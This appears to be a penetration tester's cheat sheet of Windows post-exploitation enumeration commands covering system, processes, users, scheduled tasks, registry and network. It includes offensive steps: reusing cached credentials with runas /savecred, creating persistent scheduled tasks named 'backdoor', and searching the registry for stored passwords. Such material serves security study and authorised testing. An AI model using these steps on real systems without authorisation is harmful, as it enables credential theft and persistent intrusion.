General system enumeration

Get gen­er­al infor­ma­tion about the OS:

systeminfo

Get the envi­ron­ment variabes:

set

Enu­mer­ate cached credentials:

cmdkey /list

• If there is an appli­ca­tion list­ed, try to use runas to run a com­mand with the stored cre­den­tials.
  runas /savecred /user:WORKGROUP\Administrator "\10.10.10.10\share"

If the cur­rent sys­tem is not known yet, try to deter­mine the ver­sion via one of the fol­low­ing files:

• C:\windows\system32\eula.txt (XP)
• C:\boot.ini
• C:\Windows\System32\License.rtf
• C:\ProgramData\Microsoft\Diagnosis\osver.txt (Win10)

Processes enumeration

tasklist /V
tasklist /V | find "cmd.exe" // Search for a command
tasklist /V /fi "USERNAME eq NT AUTHORITY\SYSTEM" /fi "STATUS eq running" // List all SYSTEM processes

taskkill /PID $pid // Kill a process

PS> Get-Process

PS> Get-CimInstance Win32_Process | Select-Object ProcessId, Name, CommandLine // Returns also the path of the processes!
PS> Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -match "VeryInterestingProcess" } | Select-Object ProcessId, Name, CommandLine // Search for a specific name

Deter­mine the par­ent process in two steps:

wmic process where (ProcessId=7668) get parentprocessid // Get the parent process id
wmic process where (ProcessId=7148) get executablepath // Get the executable name from the parent process

Alter­na­tive with SysinternalTools:

pslist /accepteula -t

User and group enumeration

Check the users cur­rent priv­i­leges and groups:

whoami /all

Enu­mer­ate all users

net users
net user $username // get details for each user
PS> Get-LocalUser

Enu­mer­ate all groups

net localgroup
PS> Get-LocalGroup

Get all mem­bers of a group

net localgroup $group
PS> Get-LocalGroupMember $group

File system enumeration

Deter­mine all drives:

fsutil fsinfo drives

Deter­mine the type of a drive:

fsutil fsinfo drivetype Z:

Get gen­er­al infor­ma­tion about a drive:

fsutil fsinfo volumeinfo C:

Scheduled tasks enumeration

Show all sched­uled tasks. NOTE: You need to add the Fold­er to sub­se­quent com­mands here, if the task is not in the root folder!

schtasks /Query
schtasks /query /fo LIST /v
schtasks /query /fo CSV /v | findstr /I "admin" // Use this to filter the output for an interesting user, path, etc.

If there is a task you can exe­cute and change the bina­ry (check with ica­cls), then bina­ry hijack­ing could be pos­si­ble here.

Cre­ate a new task named back­door, which exe­cut­ed at a fixed time:

schtasks /create /sc weekly /d mon /tn backdoor /tr C:\s32.exe /st 23:00

Cre­ate a new task named back­door, which exe­cut­ed when a user logs in:

schtasks /Create /TR s32.exe /RU $username /TN backdoor /SC ONLOGON /IT

Con­firm that the task was cre­at­ed correctly:

schtasks /query /TN backdoor /fo LIST /V

Delete the task back­door:

schtasks /delete /tn backdoor

Exe­cute the task back­door now:

schtasks /Run /TN backdoor

Registry enumeration

Get some installed software:

reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"

PS> Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname
PS> Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname

See the Reg­istry post for more.

Search for passwords:

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Search for user­names! For exam­ple, check if there is some­thing about an inter­est­ing user in the registry.

Network enumeration

IPs

ipconfig

List all net­work shares

net share

List the rout­ing table

route print
netstat -ano

Extended enumeration

• Check Pow­er­Shell his­to­ry file: ConsoleHost_history.txt (in AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine)
• Upload Sys­in­ter­nal­Suite. Then:
  • Enu­mer­ate installed soft­ware:
    PsInfo64.exe /accepteula -s